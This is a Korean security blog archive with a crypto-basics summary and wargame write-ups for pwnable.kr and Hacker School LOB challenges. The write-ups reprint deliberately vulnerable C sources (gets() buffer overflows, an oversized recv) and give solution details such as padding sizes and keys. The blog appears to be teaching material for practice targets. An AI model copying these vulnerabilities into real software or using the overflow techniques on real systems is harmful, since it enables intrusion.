seed를 설정하면, 몇 번을 실행해도 같은 값이 나오지 않지만 seed가 없으면 똑같은 값이 나오기 때문이다.

아래의 예제를 보고 쉽게 이해해보자.

소스코드는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
 
int main(){
        unsigned int random;
        random = rand();        // random value!                                    
        printf("random: %d\n", random);
 
        srand(time(NULL));
        random = rand();        // s_random value!
        printf("s_random: %d\n", random);
 
        return 0;
}
 
Colored by Color Scripter
cs

실행화면은 아래와 같다.

random 값은 항상 고정되고 s_random 값은 항상 바뀌는 것을 확인할 수 있다.

random 문제도 역시 random 값은 고정될 것이다.

이제 문제를 풀어보자.

key ^ random == 0xdeadbeef이다.

같은 비트를 xor 연산 두번하면 xor 연산이 사라진다는 것은 기본적으로 알고 있을 것이다.

key == 0xdeadbeef ^ random

key = 3039230856

보안의 기본과 암호 기초 (Crypto)

MarcoKhan — Fri, 2 Nov 2018 20:41:02 +0900

Information Security Principles and Practice 2nd Edition을 보고 기본 개념을 정립하기에 좋다고 생각하여 정리하여 글을 쓴다.

영어 공부도 할 겸, 영어로 많이 쓰려고 노력은.. 해야지...

이 책에서는 등장인물로 Alice, Bob, Charlie, Trudy가 주로 나온다.

Alice와 Bob, Charlie는 선한 인물,Trudy는 악한 인물로 가정하고 정리를 시작하겠다.

정보 보안의 3대 요소 (CIA)

정보 보안의 3대 요소는 아래와 같다.

Confidentiality(기밀성): Prevent unauthorized reading of information ( 인가되지 않은 사람이 정보를 읽으면 안된다.)

Integrity(무결성); detect unauthorized writing of information ( 인가되지 않은 사람이 정보를 수정하면 안된다.)

Availability(가용성): Data is available in a timely manner when needed ( 데이터는 필요시에 항상 사용 가능해야한다.)

Crypto terminology(암호 용어)

Cryptology(암호학): "secret code"를 만들거나 해독하는 학문

Cryptography(암호생산): "secret code"를 만드는 것

Cryptanalysis(암호분석): "secret code"를 분석하는 것

Crypto(암호): 위 세가지를 모두 의미하고 그 이상의 의미로도 사용된다.

일반적으로 원본 데이터를 plain text(평문)이라고 하고, 암호화 된 데이터를 cipher text(암호문)이라고 한다.

plain text에서 cipher text로 바뀌는 것을 encryption(암호화) 라고 하고, cipher text에서 plain text로 바뀌는 것을 decryption(복호화)라고 한다.

key는 encryption과 decryption을 하기 위해 사용된다.

encryption key와 decryptino key가 같으면 symmetric key cryptosystem(대칭키) 라고 불린다.

그림으로 나타내면 아래와 같이 나타낼 수 있다.

encryption key와 decryption key가 다르면 private key cryptosystem(개인키)라고 불린다.

그림으로 나타내면 아래와 같이 나타낼 수 있다.

일반적으로 encryption을 하기 위해 public key를 사용하고 decryption을 하기 위해 private key를 사용한다.

encryption은 누구나 할 수 있고, decryption은 각 개인만이 할 수 있는 crypto system이다.

Kerckhoffs' Principle(커크호프의 법칙)

Crypto system의 목표는 key가 유출되지 않는한 복호화 할 수 있는 방법이 없어야 한다.

Crypto system의 알고리즘은 비밀이 아니고, key를 제외한 모든 방식은 알려져있다는 것이 Kerckhoffs' Principle이다.

Crypto system은 아무리 비밀로 치부해도 유출될 가능성이 있고, 유출이 된다면 사용되지 못하기 때문에 kerckhoff's Principle을 기초로 하고 있다.

classic Cipher (고전암호)

현대 암호를 본격적으로 공부하기 전에 classic cipher에 대해 알아볼 것이다.

Simple Substitution (단순 치환)

Simple Substitution은 1대1 치환하는 cipher라고 생각하면 된다.

현재 문자를 n번째 앞에 있는 문자와 치환 하는 것이다.

아래는 n=3 일 때를 나타낸 것이고, Ceasar's Cipher를 나타낸 것이다.

plaintext: marcoissmarthakcer

ciphertext: PDUFRLUVPDUWKDNHU

위와 같이 간단히 simple substitution을 할 수 있다.

simple substitution이 간단히 문자 이동 방법만 사용했다고 가정하면 trudy가 암호문을 얻었을 경우 26번의 경우의 수를 가지고 있고, 평균 13번의 공격으로 plaintext를 얻을 수 있다.

이와 같이 가능한 모든 경우의 수를 통해 key를 찾아내는 시도를 try them all (전수키조사)라고 한다.

하지만 simple substitution에서 n 자리수의 이동만 가능한게 아니라 다양한 조합의 수가 존재한다.

하지만 1대1 치환이기 때문에 각 문자의 통계는 바뀌지 않아 전수키조사를 하지 않고 더 빠른 방법으로 공격 가능하다.

crypto의 안전성이란?

secure Crpyto system is defined if best know attack is to try all keys

안전한 암호 체계는 공격 방법이 전수키조사 뿐일 때 안전한 암호 체계이다.

insecure crypto system is defined if any shortcut attack is known

안전하지 않은 암호 체계는 공격 방법이 전수키조사 이외의 빠른 방법이 있을때 안전하지 않은 암호 체계이다.

Double Transposition Cipher (이중전위 암호)

Double Transposition Cipher는 plain text를 미리 정한 크기의 행렬로 배열하고 행과 열을 미리 정한 순서로 바꾼다.

아래의 예시를 보면 이해하기 쉬울것이다.

cipher text의 decryption은 encryption의 정확히 반대 순서로 계산하면 plain text를 얻을 수 있다.

Double Transposition Cipher는 plain text의 문자를 바꾸지 않는다.

다만, 통계적 정보를 가지고 공격하는 방식에는 효과적이다.

One - Time - Pad (일회성 암호)

one time pad는 plaint text와 key stream을 xor 연산한 결과를 cipher text로 사용하는 체계이다.

x와 y의 xor 연산은 x ⊕ y 로 나타내고 xor의 특징으로 x ⊕ y ⊕ y =x이다.

one time pad의 특징은 반드시 key stream과 plain text의 길이가 같아야 한다.

plain text에 각 문자가 매핑되는 특정 bit가 사전에 정립되어야 한다.

아래의 간단한 예시를 보고 이해 해보자.

문자와 mapping 되는 bit는 위와 같다.

이를 바탕으로 encryption을 진행해보자.

위와 같이 xor를 통해 plain text와 cipher text를 만들 수 있다.

다만 평문의 길이만큼 key stream이 필요하는것이 one time pad의 특징이자 단점이다.

또한 기존에 정립된 맵핑 정보를 알면 key를 마음대로 조작해 다른 의미를 띄게 할 수 있다.

cipher text를 통해 plain text의 정보도 알아낼 수 없다.

이러한 점으로 미루어 보아 안전한 암호체계의 일회성 암호 특징을 보여준다.

one time pad가 일회용으로 사용되어야만 하는 이유를 알아보자.

두 개의 plain text 두 개가 P1, P2이라고 가정하면 cipher text C1, C2는 아래와 같이 나타낼 수 있다.

C1 = P1 ⊕ Key, C2 = P2 ⊕ key

C1과 C2를 xor하면 어떻게 될까?? 아래의 경우를 보자.

C1 ⊕ C2 = P1 ⊕ key ⊕ P2 ⊕ key = P1 ⊕ P2

key 가 사라지기 때문에 유추를 통해 plain text를 알아 낼 수 있다.

따라서 one time pad는 일회용으로 사용해야 한다.

Codebook cipher (코드북 암호)

codebook cipher는 simple substitution과 비슷한 치환 암호의 일종이다.

하지만 simple substitution는 각 문자마다 치환을 하는 반면에 code book은 단어나 절을 치환한다.

예시는 아래와 같다.

confusion(혼돈) and 확산(diffusion)

confusion은 plain text와 cipher text의 상관관계를 숨기는 것이다.

diffusion은 plain text의 통계적 성격을 cipher text에서 숨기는 것이다.

simple substitution과 one-time-pad는 confusion의 특징을 갖고

Double transposition은 diffusion 특징만 갖는다.

[pwnable.kr] flag 풀이, write-up

MarcoKhan — Fri, 2 Nov 2018 13:27:45 +0900

pwnable.kr --- flag

flag 문제는 flag 파일을 reversing 해서 flag를 찾으라는 문제이다.

문제 설명을 보면 아래와 같다.

칼리 리눅스가 아닌 우분투를 사용하고, 모든 툴이 다 설치 되어 있지 않기 때문에 elf 파일임에도 불구하고 window와 linux 환경을 바꿔가며 풀이를 진행했다.

windows 환경에서 chrome의 http://pwnable.kr/bin/flag를 통해 flag 파일을 다운 받았고

linux 환경에서는 wget http://pwnable.kr/bin/flag을 통해 flag 파일을 다운 받았다.

처음 문제풀이를 시작할 때 우분투에서 gdb를 통해 분석하려고 했는데 뭔가 이상했다.

sysbol을 읽을 수 없다... IAT가 깨진것인가?? 혹시 패킹이??

간단한 reversing 문제라고 생각하고 접근할 때, 내가 가장 먼저 하는것은 어떤 언어로 작성 되어있는지, packing이 되어있는지 여부이다.

elf 파일 또한 exe 처럼 판별 가능할 지 모르겠지만, 우선 시도해봤다.

언어 확인과, packing 여부를 알기 위해 exeinfo를 사용했다.

아주 간단한 UPX packer로 packing 되어 있음을 확인할 수 있다.

또한 내가 하는 짓은 PEViewer를 통해 구조를 보는 것이다.

UPX가 보이고, ELF 임을 확인할 수 있다.

UPX packer는 간단히 github에서 다운 받을 수 있다.

UPX packer가 없다면 아래 홈페이지에 접속해서 설치하도록 하자.

https://upx.github.io/

UPX를 unpacking 하는 법은 아래와 같다.

upx -d [파일명]

upx -d [파일명] -o [unpacking 된 파일을 다른 이름으로 저장할 파일명]

패킹이 풀린 후 다시 한번 exeinfo와 PEViewer를 통해 바뀐 점을 살펴보자.

Packing이 풀린것을 확인할 수 있다.

unpacking 이전의 UPX도 사라졌고 unpacking이 잘 되었음을 확인할 수 있다

그렇다면 이제 unflag를 gdb로 분석해보자.

이전과는 다르게 unflag 파일의 symbols을 읽어 들이고, disas main이 가능하다.

대충 pseudo code를 작성하면 아래와 같이 작성할 수 있다.

compile 할 때 dummy가 자동으로 생성될 수 있기 때문에 hard coding 하였다.

1
2
3
4
5
6
7
8
9
int main()
{
    puts(*0x496658);
    rdi = malloc(100);                                                                
    rsi = 0x6c2070;
    strcpy(rdi, rsi);
 
    return 0;
}
Colored by Color Scripter
cs

puts를 통해 출력하는 문자열이 무엇인지 확인해야한다.

어딘가에 flag에 저장되어 있고 그것을 malloc에 strcpy() 할 것이다.

rsi(source), rdi(destination) 중 rsi를 찾아야한다.

rip는 다음 실행될 code text의 주소이다.

즉 rip+0x2c0ee5 = 0x40118b + 0x2c0ee5 = 0x6c2070이다.

0x6c2070이 가리키는 문자열이 flag일 것이다.

0x6c2070은 0x00496628을 가리키고 있고, 내용은 위와 같다.

flag 획득 성공!!!

[pwnable.kr] bof 풀이, write-up

MarcoKhan — Thu, 1 Nov 2018 22:40:05 +0900

pwnable.kr --- bof

cmd에 nc pwnable.kr 9000을 입력하면 접속할 수 있다.

이번 문제는 nc를 이용해 문제를 푼다. 따라서 ssh 접속과 다르게 cat으로 값을 넘겨 주어야 한다.

우분투에서 wget을 통해서 문제와 파일을 다운받았다.

bof elf 파일이 있고, bof.c의 내용은 아래와 같다.

buffer overflow의 가장 기초적인 모습이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");                                                        
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
 
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
Colored by Color Scripter
cs

main 함수부터 차례차례 bof.c를 이해해보자

func 함수를 호출하는데 인자로 "0xdeadbeef"를 전달해준다.

1
func(0xdeadbeef);                                                                    
cs

fucn 함수 내에서 지역변수 char overflowme[32]를 선언한다.

"overflowme : "를 출력한다.

1
2
char overflowme[32];
printf("overflow me : ");                                                            
cs

사용자로부터 overflowme buffer에 입력을 받는다.

1
gets(overflowme);                                                                    
cs

만일 key == 0xcafebabe 이면 쉘을 실행하고 다르면 "Nah..\n"를 출력한다.

1
2
3
4
if(key == 0xcafebabe) 
    system("/bin/sh");
else
    printf("Nah..\n");                                                                
cs

bof.c의 메모리 구조를 나타내면 간단히 아래와 같이 나타낼 수 있다.

예상해 본 메모리 구조는 위와 같지만 compiler가 최적화를 위해 중간 중간에 dummy를 삽입할 수 있다.

따라서 gdb를 통해 정확히 overflowme와 0xdeadbeef 사이의 byte 공간을 알아야 한다.

set disassembly-flavor intel을 통해 intel 문법으로 assembly를 바꿀 수 있다.

func 함수에 변수가 총 72(0x48) byte 만큼 할당되어 있는 것을 알 수 있다.

func 함수의 disassembly 코드를 보면 총 4번의 call이 보인다.

각각 printf(), gets(), system(), printf() 인것을 알 수 있다.

gets의 인자로 overflowme가 들어가고 [ebp - 0x2c] 위치에 있는것을 확인할 수 있다.

key는 0xcafebabe와 compare하기 때문에, key는 [ebp + 0x08] 번지에 있는 것을 확인할 수 있다.

다시 메모리 구조를 그려보면 아래와 같이 그릴 수 있다.

52 byte의 패딩과 4 byte의 key 값으로 overflow 시키면 된다.

[pwnable.kr] collision 풀이, write-up

MarcoKhan — Thu, 1 Nov 2018 21:50:21 +0900

pwnable.kr --- collision

ssh col@pwnable.kr 2222 (passwd: guest)로 접속하면 collsion 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5를 통해 접속했다.

windows 환경의 cmd로 접속하려면, ssh col@pwnable.kr -p2222 이와 같이 접속 해야한다.

우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.

우리는 flag를 알아야 하는데 현재 id가 col이기 때문에 flag를 볼 수 있는 권한이 없다.

col이라는 실행파일이 존재하고, setuid가 col_pwn의 권한으로 걸려있다.

col elf 파일을 통해 col_pwn의 권한을 얻고 flag를 보면 될것 같은 느낌이 든다.

col.c를 가지고 col elf 파일을 만들었을 확률이 높으므로 col.c를 분석해보자.

unsigned long type의 hashcode 변수를 생성한다.

1
unsigned long hashcode = 0x21DD09EC;                                                
cs

check_password 함수를 정의한다.

파라미터를 int 형으로 형 변환 후 4 byte씩 5번 읽어들여 res에 더한다.

1
2
3
4
5
6
7
8
9
unsigned long check_password(const char *p){                                        
    int *ip = (int *)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}
Colored by Color Scripter
cs

인자가 없으면 ("usage : %s [passcode]\n", argv[0])을 출력하고 종료한다.

1
2
3
4
if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);                                    
        return 0;
}
Colored by Color Scripter
cs

첫 번째 인자의 길이가 20 byte가 아니면 "passcode length should be 20 bytes\n"를 출력하고 종료한다.

1
2
3
4
if(strlen(argv[1]) != 20) {
    printf("passcode length should be 20 bytes\n");                                    
    return 0;
}
Colored by Color Scripter
cs

hashcode와 check_password(argv[1])의 길이가 같으면 flag를 보여준다.

1
2
3
4
if(hashcode == check_password(argv[1])){                                            
        system("/bin/cat flag");
        return 0;
}
Colored by Color Scripter
cs

hashcode와 check_password(argv[1])의 길이가 다르면 "wrong passcode.\n"을 출력하고 종료한다.

1
2
3
else
        printf("wrong passcode.\n");                                                
return 0;
Colored by Color Scripter
cs

col 프로그램은 인자 하나가 반드시 있어야하고, 길이는 20 byte 이다.

첫 번째 인자가 check_password() 함수를 지나서 return 된 값이 hashcode와 같아야 한다.

int 형 포인터로 형 변환을 했기 때문에 배열을 통해 접근하면 4 byte씩 읽어들인다.

첫 번째 인자는 20 byte의 문자열이고, 이것을 int 형 포인터로 접근한 뒤 4 byte 씩 5 번 접근한다.

처음에 unsinged long hashcode의 MSB를 신경써야하나? 하고 생각했지만, MSB가 양수이기 때문에 우리가 res 값을 음수로 만들 필요가 없다.

hashcode 값이 0x80000000 이상(MSB = 1)이라면, 정상적인 long 타입은 음수로 인식되지만, unsigned long 타입이면 양수로 인식되기 때문에 어려움이 있는데 다행이 이번 문제는 양수(MSB = 0)라서 unsigned type이 굳이 문제 되지 않는다.

0x21DD09EC를 5로 나누면 몫은 0x06C5CEC8이고 나머지는 4이다.

0x06C5CEC8을 4번 더하고 0x06C5CECC를 한번 더하면 hashcode 값과 같아진다.

또한 우리는 little-endian 방식을 사용하고 있기 때문에 스크립트립트를 little-endian에 맞춰 작성해야한다.

[pwnable.kr] fd 풀이, write-up (File Descriptor)

MarcoKhan — Thu, 1 Nov 2018 17:36:02 +0900

pwnable.kr --- fd

ssh fd@pwnable.kr 2222 (passwd: guest)로 접속하면 fd 문제를 만날 수 있다.

windows 환경의 cmd로 접속한것이 아니라 xshell5를 통해 접속했다.

windows 환경의 cmd로 접속하려면 ssh fd@pwnable.kr -p2222 이와 같이 접속 해야한다.

우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.

우선 우리는 flag를 알아야 하는데 현재 id가 fd이기 때문에 flag를 볼 수 있는 권한이 없다.

fd라는 실행파일이 존재하고 setuid가 fd_pwn의 권한으로 걸려있다.

fd 파일을 통해서 fd_pwn의 권한을 얻고 flag를 보면 될것 같은 느낌이 든다.

fd.c를 가지고 fd elf 파일을 만들었을 확률이 높으므로 fd.c를 분석해보자.

전역변수 buf를 선언한다.

1
char buf[32];                                                                        
cs

인자가 없으면 "pass argv[1] a number\n"를 출력하고 종료한다.

1
2
3
4
if(argc<2) {
    printf("pass argv[1] a number\n");                                                
    return 0;
}
Colored by Color Scripter
cs

fd 라는 4 byte 정수형 변수에, argv[1]을 아스키 코드로 변경하고 0x1234를 뺀 값을 저장한다.

1
int fd = atoi(argv[1]) - 0x1234;                                                    
cs

4 byte 정수형 변수 len을 0으로 초기화하고, fd가 가리키는 파일을 32 byte 읽어들여 buf에 저장한다.

len에는 읽어들인 byte 수를 저장한다.

1
2
int len = 0;
len = read(fd, buf, 32);                                                            
cs

buf에 저장된 문자열이 "LETMEWIN\n"이면 "good job :)\n"을 출력하고

fd_pwn의 권한으로 flag 파일의 내용을 보여주고 종료한다.

1
2
3
4
5
if(!strcmp("LETMEWIN\n", buf)){                                                        
    printf("good job :)\n");
    system("/bin/cat flag");
    exit(0);
}
Colored by Color Scripter
cs

"learn about Linux file IO\n"를 출력하고 종료한다.

1
2
printf("lean about Linux file IO\n");                                                
return 0;
Colored by Color Scripter
cs

fd 문제를 풀기 위해서 File Descriptor와 read 함수에 대해 알아봐야 할 것 같다.

File Descriptor는 시스템으로부터 할당 받을 파일(소켓)을 대표하는 정수 값으로 생각하면 된다.

시스템이 열려 있는 파일에 접근하기 쉽게 하도록 사용자에게 파일에 번호를 붙여 알려준다고 생각하면 이해하기 쉬울 것이다.

File Descriptor는 최대 1,024까지 생성 가능하다.

프로세스가 메모리에 올라갈 때 프로세스마다 fd의 번호가 미리 배정되어 있는데 0, 1, 2이 사전 배정 되어있다.

위와 같이 0,1,2 번이 미리 배정되어 있다.

read() 함수에 대해 알아보자.

read() 함수의 원형은 아래와 같다.

ssize_t read(int fd, void *buf, size_t bytes)

int fd: Data를 전송할 대상을 가리키는 File Descriptor.

void *buf: 파일을 읽어들여 저장 할 buffer이다.

size_n bytes: 읽어 들일 byte의 수.

함수 실행에 성공하면 읽어들인 byte의 수, 함수 실행에 실패하면 -1을 반환한다.

fd를 0으로 설정해, 표준 입력 스트림으로 입력 받은 데이터를 buffer로 옮겨 비교하면 flag를 얻을 수 있을 것이다.

0x1234는 10진수로 4660이다. argument를 4660으로 주어 "LETMEWIN\n"을 입력하면 flag를 얻을 수 있을것이다.

-----------------------------------------------------------

추가적으로 fd가 0, 1, 2에 상관없이 입력을 받는것을 확인했다.

read 함수를 보면 fd가 가리키는 대상을 읽어오는 것이기 때문에 fd가 0,1,2 일 때 모두 stream을 가리키기 때문에 키보드 입력이 가능한것 같다.

이제 궁금증이.. read(fd, buf, 32) 함수를 실행할 때, fd가 가리키는 곳을 32 byte 읽어들여 buf에 저장하는 것이다.

근데 왜.. stream은 비어있는데, 사용자로부터 값을 입력받을까..?

stream을 읽으려고 할때, stream이 비어있으면 사용자로부터 값을 읽어들이는건가...

stdin일 때 read할 경우.. 잘 작동..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main()
{
    char buf[80];
 
    memset(buf, 0x00, 80);
    if (read(0, buf, 80) < 0)                // stdin                                
    {
        perror("read erro : ");
        exit(0);
    }
 
    printf("%s", buf);
}
Colored by Color Scripter
cs

stdout일 때 read할 경우.. 잘 작동..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main()
{
    char buf[80];
 
    memset(buf, 0x00, 80);
    if (read(1, buf, 80) < 0)                // stdout                                
    {
        perror("read erro : ");
        exit(0);
    }
 
    printf("%s", buf);
}
Colored by Color Scripter
cs

stderr일 때 read할 경우.. 잘 작동..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main()
{
    char buf[80];
 
    memset(buf, 0x00, 80);
    if (read(2, buf, 80) < 0)                // stderr                                
    {
        perror("read erro : ");
        exit(0);
    }
 
    printf("%s", buf);
}
Colored by Color Scripter
cs

좀 찾아보니, read 함수가 scanf 함수와 같은 기능을 하는 것 같다.

결국 fd가 0, 1, 2일 때, stream을 가리키기 때문에, 사용자로부터 입력을 받는것 같다....

해커스쿨 LOB xavius 풀이, write-up [미완]

MarcoKhan — Sun, 28 Oct 2018 16:56:23 +0900

xavius --- throw me away

문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.

$export SHELL=/bin/bash2

$/bin/bash2

우선 xavius의 디렉터리를 확인한다.

death_knight라는 의심스러운 파일이 존재한다.

death_knight는 death_knight의 권한을 가지고 있고, setuid가 걸려있는 파일이다.

death_knight.c를 가지고 death_knight elf 파일을 만들었을 가능성이 있기 때문에, death_knight 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.

지역 변수 buffer와 server_fd, client_fd를 선언한다.

1
2
3
char buffer[40];
 
int server_fd, client_fd;                                                            
cs

sockaddr_in 구조체 변수 server_addr, client_addr 두 개를 선언한다.

1
2
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;                                                        
cs

sockaddr_in 구조체는 아래와 같다.

sockaddr_in은 IPv4 주소체계에서 사용하는 구조체이다.

sockaddr_in의 크기는 16 byte이다.

1
2
3
4
5
6
struct sockaddr_in{
    sin_family_t sin_family;        // 항상 AF_INET이다.
    unist16_t sin_port;             // 16-bit port number
    struct in_addr sin_addr;        // 32-bit IP 주소
    char sin_zero[8];               // sockaddr과 같은 크기를 유지하기 위한 zero padding(dummy)
}                                
Colored by Color Scripter
cs

지역 변수 sin_size를 선언한다.

1
int sin_size;                                                                        
cs

socket() 함수는 소켓을 생성하여 반환하는 함수이다.

socket() 함수의 원형은 아래와 같다.

int socket(int domain, int type, int protocol);

int domain: 인터넷을 통해 통신할지, 같은 시스템 내의 프로세스끼리 통신할지 결정한다.

int type : 데이터의 전송 형태를 지정하며 아래 table의 값을 사용할 수 있다..

int protocol : 통신에 있어 특정 프로토콜을 사용하기 위한 변수이다. 주로 0을 사용한다.

socket() 함수가 성공해 socket을 만들면, 소켓 식별 번호를 return하고, 실패하면 -1을 반환한다.

IPv4 인터넷 프로토콜을 사용하고, TCP/IP 프로토콜을 통해 데이터를 전송하는 socket을 server_fd에 저장하고, 만일 socket 생성에 실패하면 error 내용을 출력하고 종료한다.

1
2
3
4
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {                            
        perror("socket");
        exit(1);
}
Colored by Color Scripter
cs

htons() 함수는 네트워크에서 short 형의 변수를 host byte order에서 network에서 사용하는 network byte order로 바꿔준다. network에서는 시스템과 달리 big-endian을 사용한다.

sin_port = htons(6666); //port 6666이 할당된다.

sin_addr.s_addr = INADDR_ANY; // 소켓이 동작하는 컴퓨터의 IP주소가 자동 할당된다. PORT만 일치하면 수신 가능하다.

1
2
3
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;                                            
cs

bzero()함수를 이용해 server_add.sin_zero에 0x00을 8 byte padding 한다.

1
bzero(&(server_addr,sin_zero), 8);            // 8-byte padding                        
cs

bind() 함수는 생성된 소켓에 IP주소와 port 번호를 지정해주는 함수이다.

bind() 함수의 기본형은 아래와 같다.

int bind(int sockfd, struct sockaddr *myaddr, socklen_t addrlen);

int sockfd: 소켓 디스크립터

struct sockaddr *myaddr: AF_INET을 사용하는 경우 struct sockaddr_in을 사용하고, AF_UNIX인 경우 struct sockaddr을 사용한다.

socklen_t addrlen: myaddr의 구조체 크기

성공하면 return 0, 실패하면 return -1을 한다.

생성된 소켓에 주소, 프로토콜, 포트를 할당하고 실패하면 bind에 관한 error 내용을 출력하고 종료한다.

1
2
3
4
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(strcut sockaddr)) == -1){
        perror("bind");
        exit(1);
}
Colored by Color Scripter
cs

listen() 함수는 소켓을 통해 클라이언트 접속 요청을 기다리도록 설정한다.

즉, 클라이언트를 대기하고 있는 상태이다.

listen() 함수의 기본형은 아래와 같다.

int listen(int s, int backlog);

ins sockfd : 소켓 디스크립터

int backlog : 대기 메세지 큐의 개수

성공하면 return 0, 실패하면 return -1을 한다.

클라이언트를 대기한다. 만일 listen() 함수가 실패하면 listen에 대한 error를 출력하고 종료한다.

1
2
3
4
if(lisetn(server_fd, 10) == -1) {                                                    
        perror("listen");
        exit(1);
}
Colored by Color Scripter
cs

sin_size에 sockaddr_in 구조체의 크기를 저장한다.

1
sin_size = sizeof(struct sockaddr_in);                                                
cs

accept() 함수는 클라이언트의 접속 요청을 받고, 클라이언트와 통신하는 전용 소켓을 생성한다.

accept() 함수의 기본형은 아래와 같다.

int accept (int sockfd, struct sockaddr *addr, socklen_t *addrlen);

int sockfd : 소켓 디스크립터

struct sockaddr *addr : client의 주소 정보를 가지고 있는 포인터이다.

socklen_t addrlen: struct sockaddr *addr 포인터가 가르키는 구조체의 크기

-1을 반환하면 실패, -1 이외의 값은 새로운 소켓 디스크립터의 번호이다.

클라이언트 접속을 요청할 때, 클라이언트와 통신하는 전용 소켓을 생성한다. 만일 실패하면 accept에 관한 실패 error를 출력하고 종료한다.

1
2
3
4
if((client_fd = accept(server_fd, (struct sockaddr *)&clinet_addr, &sin_size)) == -1) {
        perror("accept");
        continue;
}
Colored by Color Scripter
cs

fork() 함수는 현재 실행하고 있는 프로세스를 복사해 똑같은 기능을 하는 프로세스를 만드는 함수이다.

fork() 함수의 원형은 아래와 같다.

pid_t fork(void);

실행에 실패하면 return -1, 성공하면 부모 프로세스에게 새로 생성된 자식 프로세스 PID가 반환되고, 자식 프로세스는 0이 반환된다.

send() 함수는 연결된 서버나 클라이언트로 데이터를 전송한다.

send() 함수의 원형은 아래와 같다.

int send(int sockfd, const void *msg, size_t len, int flags);

int sockfd: 소켓 디스크립터

void *msg: 전송할 데이터

size_t len: 데이터의 바이트 단위 길이

int flags: 아래의 옵션이 가능하다. 옵션을 사용하지 않으명 0이다.

return -1 일 때 실패했고, -1 이외의 수가 return 되면 실제 전송한 byte 수이다.

fork가 성공하면 아래와 같은 행위를 한다.

client에 "Death Knight : Not even death can save you from me!\n"를 52 byte 전송한다.

client에 "You: " 를 6 byte 전송한다.

1
2
3
if(!fork()){
        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
        send(client_fd, "You : ", 6, 0);
Colored by Color Scripter
cs

recv() 함수는 소켓으로부터 데이터를 수신한다.

recv() 함수의 원형은 아래와 같다.

int recv(int sockfd, void *buf, size_t len, int flags);

int sockfd : 소켓 디스크립터

void *buf : 수신할 버퍼 포인터 데이터

size_t len : 버퍼의 byte size

int flags : 아래의 옵션을 사용가능하다 사용하지 않으면 0으로 set 한다.

return -1이면 실패, -1 이외의 값을 return 하면 실제 수신한 byte의 수 이다.

close() 함수는 파일 디스크립터를 종료하는 함수이다.

close() 함수의 원형은 아래와 같다.

int close(int fd);

int fd: 파일 디스크립터

정상적으로 close 했으면 0을 return, close에 실패하면 -1을 반환한다.

client_fd를 종료하고, 반복문에 탈출한다.

1
2
3
4
        recv(client_fd, buffer, 256, 0);                                            
        close(client_fd);
        break;
}
Colored by Color Scripter
cs

clinet_fd를 한번 더 종료한다. fork()에 의해 종료가 되지 않을수도 있다.

waitpid() 함수는 자식 프로세스가 종료될때까지 대가하는 함수이다. 특정 자식 프로세스가 종료될 때까지 대기한다.

waitpid() 함수는 아래와 같다.

pid_t waitpid(pid_t pid, int *status, int options);

pid_t pid: 감사할 자식 프로세스 ID로서 아래의 옵션을 갖는다.

int *status: 자식 프로세스의 종료 상태 정보

int options : 대기를 위한 옵션으로 아래와 같은 옵션을 갖는다.

정상적으로 작동되면 종료된 자식 프로세스 ID를 return 한다. 실패하면 -1을 return 한다. WNOHANG을 사용하고 자식 프로세스가 종료되지 않으면 0을 return 한다.

자식 프로세스가 종료되지 않아야하고, client를 종료한다.

1
2
3
        close(clinet_fd);
        while(waitpid(-1, NULL, WNOHANG) > 0 );                                        
    }
Colored by Color Scripter
cs

server_fd를 종료한다.

1
2
    close(server_fd);                                                                
}
Colored by Color Scripter
cs

death_knight의 메모리 구조를 예상해보면 아래와 같다.

실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.

gdb를 이용해 death_knight를 분석해보자. death_night를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.

위와 같이 death_knight가 xavius의 권한으로 복사된 것을 확인할 수 있다.

dummy가 생성되었는지 gdb를 통해 확인할 수 있다.

dummy가 추가적으로 생성되지 않고 정확히 84(0x54) byte가 생성된 것을 확인할 수 있다.

해커스쿨 LOB nightmare 풀이, write-up

MarcoKhan — Tue, 23 Oct 2018 17:33:14 +0900

nightmare --- beg for me

문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.

$export SHELL=/bin/bash2

$/bin/bash2

우선 nightmare의 디렉터리를 확인한다.

xavius라는 의심스러운 파일이 존재한다.

xavius는 xavius의 권한을 가지고 있고, setuid가 걸려있는 파일이다.

xavius.c를 가지고 xavius elf 파일을 만들었을 가능성이 있기 때문에, xavius 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.

지역 변수를 선언한다.

1
2
char buffer[40];                                                                    
char *ret_addr;
cs

buffer에 256 byte의 입력을 저장하고 buffer를 출력한다.

1
2
fgets(buffer, 256, stdin);                                                            
printf("%s\n", buffer);
cs

*(buffer+47) == '\xbf' 이면 "stack retbayed you!\n"를 출력하고 종료한다.

1
2
3
4
5
if(*(buffer+47) == '\xbf')
{
    printf("stack retbayed you!\n");                                                
    exit(0);
